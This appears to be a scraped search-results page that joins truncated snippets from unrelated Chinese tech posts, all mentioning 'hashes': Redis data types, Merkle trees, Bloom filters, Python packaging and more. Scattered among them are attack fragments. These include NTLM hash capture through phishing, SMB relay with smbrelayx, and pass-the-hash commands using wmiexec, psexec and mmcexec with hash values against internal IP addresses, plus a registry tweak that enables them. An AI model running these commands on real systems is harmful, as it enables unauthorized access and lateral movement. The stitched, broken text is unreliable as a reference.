Redis数据类型之hashes类型 1、hset 设置hash field为指定值，如果不存在，则先创建 2、hsetnx 设置hash field为指定值，如果key不存在，则先创建。
mengbin92[9] cnblogs: 恋水无意[10] 腾讯云开发者社区：孟斯特[11] References [1] 这里: https://redis.io/docs/data-types/hashes
Redis Hashes 是我们日常使用中比较高频的 Redis 数据类型，内部使用 Redis 字典结构存储，底层实现之一为哈希表结构。
其结构定义如下： type CompactMerkleTree struct { hashes []common.Uint256 treeSize uint32 } 计算 Merkle...树的根 Hash 根据压缩 Merkle 树的定义可知，只需要将 hashes 数组中的 hash 值从右向左依次 fold 计算，即可拿到根 hash。...() } hashes = self.hashes l := len(hashes) accum := hashes[l-1] for i := l - 2; i >= 0; i-- {...插入新的叶子节点算法如下： func (self *CompactMerkleTree) Append(leaf common.Uint256) { size := len(self.hashes)...-= 1 } self.treeSize += 1 self.hashes = self.hashes[0:size] self.hashes = append(self.hashes, leaf
加密然后与系统中SAM文件中存储的NTLM Hashes进行比对; 在这里不得不说一哈我们常用的NTLM Hashes的加密方式: NTLM Hashes它采用的MD4加密方式，目前应用最广泛的Hashes...在Windows Vista 与 Windows Server 2008 以上版本默认采用的加密方式, NTLM Hashes算法的前身是LM Hashes NTLM Hashes版本系列说明: NTLM...Hashes (也称为 NT Hashes) 主要用于本地认证; NTLMv1 Hashes (也称为Net-NTLMv1 Hashes) 运用了WindowsNT挑战与响应验证机制结合，主要用于网络身份认证...说明:为了后面方便引用C/R验证机制的时候统一采用NTLMv1 Hashes 、NTLMv2 Hashes 进行说明; LM / NTLM Hashes 两者之间优缺点比较: 1.LM-Hashes...Hashes。
[-d] [-m] [-o OUTPUT] optional arguments: -hibp, --hibp-path The HIBP .txt file of NTLM hashes...-a, --a .txt file containing additional passwords to check for -ad, --ad-hashes...The NTLM hashes from of AD users -d, --find-duplicates Output a list of duplicate password users...Uses working dir when not set 工具使用样例 lil-pwny -hibp ~/hibp_hashes.txt -ad ~/ad_ntlm_hashes.txt -a ~/additional_passwords.txt...安装好该模块之后，使用IFM数据中的SYSTEM hive项来恢复出密码哈希，数据格式为“用户名:哈希”，恢复出来的数据将存储至ad_ntlm_hashes.txt文件中。
image.tar# mode: container# path: merged# verbose: true# veryverbose: true files:- name: '/usr/bin/curl'hashes...:- hash: '2353cbb7b47d0782ba8cdd9c7438b053c982eaaea6fbef8620c31a58d1e276e8'#UNCOMMENT TO ANALYZE HASHES...:- hash: '9adc0bf7362bb66b98005aebec36691a62c80d54755e361788c776367d11b105'- name: '/usr/bin/curl'hashes...23afbfab4f35ac90d9841a6e05f0d1487b6e0c3a914ea8dab3676c6dde612495'- name: '/usr/local/bin/staticcheck'hashes...true# veryverbose: true# image: latestgo13.tarpath: mergedfiles:- name: '/usr/local/bin/analysis.sh'hashes
编码示例import redisimport mmh3class BloomFilter: def __init__(self, redis_conn, num_hashes, bit_size)...: self.redis_conn = redis_conn self.num_hashes = num_hashes self.bit_size = bit_size...def add(self, element): for seed in range(self.num_hashes): hash_value = mmh3.hash...self.redis_conn.setbit('bloom_filter', hash_value, 1) def exists(self, element): for seed in range(self.num_hashes
在stackoverflow 看到一个问题，Redis strings vs Redis hashes to represent JSON: efficiency?...values. key:user, value:payload (the entire JSON blob which can be 100-200 KB) SET user:1 payload Using hashes...在这篇redis memory optimization官方文章中，作者强烈推荐使用hash存储数据 Use hashes when possible Small hashes are encoded...But many times hashes contain just a few fields....参考链接 [1] Redis strings vs Redis hashes to represent JSON: efficiency?
cp39-cp39-manylinux2010_x86_64.whl (107 kB) #8 29.38 Collecting cffi>=1.1 #8 29.38 ERROR: In --require-hashes...只提供了规避方法 https://github.com/actions/virtual-environments/issues/2245 解决方案 poetry export命令中传递此标志 --without-hashes...poetry export --without-hashes -f requirements.txt --output requirements.txt 我使用的是这个办法，实践过的确可以，适用于使用
一、大key的删除问题 大key（bigkey）是指 key 的 value 是个庞然大物，例如 Hashes, Sorted Sets, Lists, Sets，日积月累之后，会变得非常大，可能几十上百...示例： 删除大 Hashes 步骤： （1）key改名，相当于逻辑上把这个key删除了，任何redis命令都访问不到这个key了 （2）小步多批次的删除 伪代码： # key改名 newkey = "gc...:hashes:" + redis.INCR( "gc:index" ) redis.RENAME("my.hash.key", newkey) # 每次取出100个元素删除 cursor = 0 loop...删除 while redis.LLEN(newkey) > 0 redis.LTRIM(newkey, 0, -99) end 删除大 Sets 伪代码： # key改名 newkey = "gc:hashes...可以使用渐进式删除，对 Hashes, Sorted Sets, Lists, Sets 分别处理，思路相同，先逻辑删除，对key改名，使客户端无法使用原key，然后使用批量小步删除。
05:05 /hashes/test-tbl/hashes -rw-r--r-- 2 root supergroup 0 2020-04-28 05:05 /hashes/test-tbl.../hashes/_SUCCESS drwxr-xr-x - root supergroup 0 2020-04-28 05:05 /hashes/test-tbl/hashes/part-r...-00000 -rw-r--r-- 2 root supergroup 6790909 2020-04-28 05:05 /hashes/test-tbl/hashes/part-r-00000.../data -rw-r--r-- 2 root supergroup 20879 2020-04-28 05:05 /hashes/test-tbl/hashes/part-r-00000...查看上例中的值，我们可以看到有哈希的97148个分区（由BATCHES计数器报告），SyncTable仅检测到其中两个分区的差异（根据HASHES_MATCHED和HASHES_NOT_MACTHED计数器
g_tk值为cookie值进行加密获取p_skey的值进行加密 通过selenium提取到当前网页的cookie值 Python解密代码 def getGTK(cookie): hashes...= 5381 for letter in cookie['p_skey']: hashes += (hashes << 5) + ord(letter) return...hashes & 0x7fffffff cookie = {} # 初始化cookie字典 for elem in driver.get_cookies(): # 取cookies cookie...= 5381 for letter in cookie['p_skey']: hashes += (hashes << 5) + ord(letter) return...hashes & 0x7fffffff # 封装函数的关键字 def start_spider(): driver = webdriver.Chrome() driver.get("https
钓鱼之NTLM Hashes Out-WebQuery以及Start-CaptureServer可以用来从目标的netntlm格式中捕获NTMLv2 hashes。...相比基本的身份验证使用hashes捕获到的几率很低。用户对于凭证提示的免疫力太低了，我们只需使用AuthType NTLM2. ?...使用John the ripper可以创建hashes上面捕获的hashes在hashes.txt文件中是以下格式(format) nikhil::PFPTLAB:00000000000000000000000000000000060380250000000F...在以下情况，用户不需要输入其凭证： C:\test\QueryData.iqy 不幸的是，这里没有PowerShell代码可用来中继hashes。...我们从Impacket库中调用smbrelayx，接着我们从192.168.230.111捕获中继hashes，192.168.230.112是一个Windows7机器。 ?
: seen_hashes.add(hash_value) unique_list.append(data) return unique_list...然后，我们定义了一个remove_duplicates函数，该函数接受一个数据列表，并使用一个集合seen_hashes来存储已经遇到的哈希值。...对于列表中的每个数据项，我们计算其哈希值，如果该哈希值尚未出现在seen_hashes集合中，我们将其添加到集合中，并将数据项添加到结果列表unique_list中。最后，我们返回去重后的结果列表。...然后，我们定义了一个remove_duplicates函数，该函数接受一个数据列表，并使用一个集合seen_hashes来存储已经遇到的Simhash值。...如果该Simhash值尚未出现在seen_hashes集合中，我们将其添加到集合中，并将数据项添加到结果列表unique_list中。最后，我们返回去重后的结果列表。
:49,094 - INFO - tested 100000 (10.0%) hashes so far for uid 1... # 2020-08-13 14:59:15,282 - INFO -...) hashes so far for uid 1... # 2020-08-13 15:08:55,162 - INFO - tested 250000 (25.0%) hashes so far for...uid 1... # 2020-08-13 15:13:38,524 - INFO - tested 300000 (30.0%) hashes so far for uid 1... # 2020-...% 50000 == 0 and hashes_tested > 0: log.info("tested {} ({}%) hashes so far...for uid {}...".format(hashes_tested, int((hashes_tested/args.micros_elapsed)*100), uid))
HASHES] [--ida] optional arguments: -h, --help show this help message and exit --algo...ALGO Hashing algorithm --apis Calculate hashes of APIs --keywords Calculate...hashes of keywords --list LIST Calculate hashes of your own word list --script SCRIPT Script...file containing your custom hashing algorithm --search SEARCH Search a JSON File containing hashes...mapped to words --hashes HASHES File containing list of hashes to search for --ida
FILTER_SIZE = 1000000 # 位数组的大小 HASH_FUNCS = 3 # 使用的哈希函数的数量 # 使用mmh3库提供的哈希函数 def additional_hashes...(url, seed): hashes = [] for i in range(HASH_FUNCS - 1): # 减去1，因为我们还使用Python内置的hash()函数...hashes.append(mmh3.hash(url, seed + i)) return hashes # 初始化布隆过滤器 bloom_filter = bitarray.bitarray...= additional_hashes(url, hash_value) for hash_val in additional_hashes_values: index =...= additional_hashes(url, hash_value) for hash_val in additional_hashes_values: if not
135端口 wmiexec python wmiexec.py -hashes :2687cb433215956d4ededb0d00334118 Tom@192.168.0.220 wmiexec.exe...-hashes :2687cb433215956d4ededb0d00334118 Tom@192.168.0.220 这里过不去的需要在目标机器上开启注册表 reg add HKLM\SOFTWARE...03Gf" /user:administrator psexec.exe \\10.61.9.45 -u administrator -p "mima" whoami python psexec.py -hashes...:ccef208c6485269c20db2cad21734fe7 administrator@192.168.0.100 psexec.exe -hashes :ccef208c6485269c20db2cad21734fe7...administrator@192.168.0.100 mmcexec mmcexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 administrator
函数 $.extend({ getUrlVars: function(){ var vars = [], hash; var hashes = window.location.href.slice...+ 1).split('&'); for(var i = 0; i hashes.length; i++) { hash = hashes[i].split('=');
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